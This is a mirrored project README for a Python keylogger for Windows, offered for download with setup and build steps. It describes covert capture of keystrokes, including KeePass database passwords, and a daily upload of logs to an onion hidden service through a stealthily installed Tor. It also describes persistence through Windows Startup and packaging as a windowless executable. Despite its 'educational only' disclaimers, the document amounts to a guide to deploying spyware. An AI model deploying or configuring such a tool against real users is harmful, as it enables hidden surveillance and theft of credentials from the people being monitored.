Python Keylogger Save

Advanced Pure-Python Keylogger

Project README

Advanced Python Keylogger for Windows

NOTE: This project should be used for authorized testing or educational purposes only. You are free to copy, modify and reuse the source code at your own risk.

Uses

Some uses of a keylogger are:

  • Security Testing: improving the protection against hidden key loggers;
  • Business Administration: Monitor what employees are doing (with their consent);
  • School/Institutions: Track keystrokes and log banned words in a file;
  • Personal Control and File Backup: Make sure no one is using your computer when you are away;
  • Parental Control: Track what your children are doing;
  • Self-analysis and assessment.

Features

  • Global event hook on all (incl. On-Screen) keyboards using cross-platform library Keyboard. The program makes no attempt to hide itself.
  • Pure Python, no C modules to be compiled.
  • 2 logging modes:
    • Storing logs locally and once a day sending logs to your onion hidden service (via Tor, of course, stealthily installing it);
    • Debug mode (printing to console).
  • Persistence:
    • Adding to Windows Startup.
  • Human-readable logs:
    • Logging keys as they actually are in your layout; cyrillic keyboard layout is fully implemented;
    • Logging window titles and current time where appropriate;
    • Backspace support (until the active window is changed);
    • Full upper-/ lowercase detection (capslock + shift keys).
  • Privacy protection:
    • RSA public-key encryption of logs on the fly using PyCryptoDome.

Getting started

System requirements

  • MS Windows (tested on 10). TODO: test Linux (requires sudo) and macOS support;
  • Python 3 (tested on v. 3.7.4).

Usage

Quick start
  1. git clone https://github.com/secureyourself7/python-keylogger
  2. cd python-keylogger
  3. Customize parameters in Start.py: url_server_upload, hidden_service_check_connection.
Run as a Python script
  1. pip install requirements.txt (alternatively python -m pip ...)
  2. python Start.py
Run as an executable (7 MB)
  1. pip install pyinstaller
  2. pyinstaller --onefile --noconsole --icon=icon.ico Start.py
  3. dist\Start.exe
To use RSA log encryption/decryption (optional)
  1. Generate RSA key pair (optional): python rsa_key_generator.py.
  2. Change the public key filename / paste the key in Start.py.
  3. To decrypt logs type python log_decryptor.py, and then follow the instructions given by the script.
System arguments

Start.py mode [encrypt]

  • modes:
    • local: store the logs in a local txt file. Filename is a MD5 hash of the current date (YYYY-Mon-DD).
    • debug: write to the console.
  • [optional]
    • encrypt: enable the encryption of logs with a public key provided in Start.py.

Video tutorials (similar but simpler projects)

https://www.youtube.com/watch?v=uODkiVbuR-g https://www.youtube.com/watch?v=8BiOPBsXh0g

Known issues

  • Does not capture passwords auto-typed by KeePass, however, it captures KeePass DB passwords.
  • See Keyboard: Known limitations. Feel free to contribute to fix any problems, or to submit an issue!

Notes

Cyrillic layout is implemented, meaning support for these languages: Russian, Russian - Moldava, Azeri, Belarusian, Kazakh, Kyrgyz, Mongolian, Tajik, Tatar, Serbian, Ukrainian, Uzbek.

Please note that this repo is for educational purposes only. No contributors, major or minor, are responsible for any actions made by the software.

Don't really understand licenses or tl;dr? Check out the MIT license summary.

Distributed under the MIT license. See LICENSE for more information.

Open Source Agenda is not affiliated with "Python Keylogger" Project. README Source: secureyourself7/python-keylogger

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